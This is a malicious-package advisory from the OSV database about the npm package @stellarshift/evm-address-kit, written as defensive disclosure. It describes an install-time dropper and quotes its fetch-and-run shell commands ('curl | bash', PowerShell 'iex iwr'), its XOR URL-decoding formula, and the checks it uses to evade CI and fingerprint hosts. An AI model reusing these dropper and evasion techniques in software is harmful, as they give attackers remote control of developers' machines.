MAL-2026-15823

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/evm-address-kit/MAL-2026-15823.json
JSON Data
https://api.test.osv.dev/v1/vulns/MAL-2026-15823
Aliases
  • GHSA-99vv-f5jw-j464
Published
2026-09-02T17:38:00Z
Modified
2026-09-04T06:45:05Z
Summary
Malicious code in @stellarshift/evm-address-kit (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (f8ad9957f1e31e5afe261cb73c0c5b76ff23a86b23ebae0704e7e2934be79979)

The package declares a postinstall script that invokes syncRemoteManifest in lib/runtime/manifest-sync.js. The destination URL is not present in cleartext: lib/runtime/endpoint-registry.json stores an integer array under an ss-xor-v1 encoding with seed evm-address-kit, which lib/runtime/config-resolver.js decodes via segments[i] ^ key.charCodeAt(i % key.length) ^ ((i * 7 + 13) & 0xff) at runtime to reconstruct an https:// URL. The dropper then executes curl -fsSL '<url>' | bash on Linux/macOS or powershell... iex (iwr -UseBasicParsing -Uri $uri).Content on Windows in a detached child process, piping opaque remote content directly into a shell/PowerShell interpreter. Execution is gated by dev-profile.js: it aborts when common CI environment variables are set (CI, GITHUB_ACTIONS, GITLAB_CI, JENKINS_URL, BUILDKITE, CIRCLECI, TF_BUILD, CONTINUOUS_INTEGRATION) and, on darwin/win32, requires both a Lark/Feishu install (/Applications/Lark.app, /Applications/Feishu.app) and a FortiClient install (Fortinet\FortiClient) to be present. The stated purpose of the package is EVM address checksumming, which does not justify runtime URL obfuscation, remote shell execution at install time, or corporate-workstation fingerprinting. The combination — install-time execution, obfuscated destination, CI evasion, and specific-vendor host fingerprinting — is a targeted install-time remote code execution dropper aimed at managed corporate endpoints running Lark/Feishu with FortiClient VPN.

Source: ghsa-malware (0ab6d761b9118e7573dd8e62bbdedfc755932c54a503a77ce2857b3a48fbdc7c)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-019344",
            "import_time":  "2026-09-02T22:16:58.834511354Z",
            "modified_time":  "2026-09-02T22:07:28Z",
            "sha256":  "e9fbc812f7a857d9672e7f91884223a6975a519034b800c2c58cb4f3dddee588",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.1"
            ]
        },
        {
            "id":  "IN-MAL-2026-019341",
            "import_time":  "2026-09-02T22:16:58.746842429Z",
            "modified_time":  "2026-09-02T22:06:55Z",
            "sha256":  "f8ad9957f1e31e5afe261cb73c0c5b76ff23a86b23ebae0704e7e2934be79979",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.3"
            ]
        },
        {
            "id":  "GHSA-99vv-f5jw-j464",
            "import_time":  "2026-09-03T05:28:34.718495Z",
            "modified_time":  "2026-09-02T17:38:01Z",
            "ranges":  [
                {
                    "events":  [
                        {
                            "introduced":  "0"
                        }
                    ],
                    "type":  "SEMVER"
                }
            ],
            "sha256":  "0ab6d761b9118e7573dd8e62bbdedfc755932c54a503a77ce2857b3a48fbdc7c",
            "source":  "ghsa-malware"
        },
        {
            "id":  "IN-MAL-2026-019631",
            "import_time":  "2026-09-04T06:30:33.331032399Z",
            "modified_time":  "2026-09-04T06:16:24Z",
            "sha256":  "c0059a0cac9c3f37895fd9d239e1835e5632543fd432ea72eeb148055f736230",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @stellarshift/evm-address-kit

Package

Name
@stellarshift/evm-address-kit
View open source insights on deps.dev
Purl
pkg:npm/%40stellarshift/evm-address-kit

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1
1.0.3

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "scripts/postinstall.js",
            "sha256":  "f1b4d751089f12d46838048efb93f16ff6f30b10d9d19d116021f79c504586c1",
            "tlsh":  "99711df402926b3171b2e3ac57478d06d4bb743236968280f5ccb1c5afed62c426acf9"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/evm-address-kit/MAL-2026-15823.json"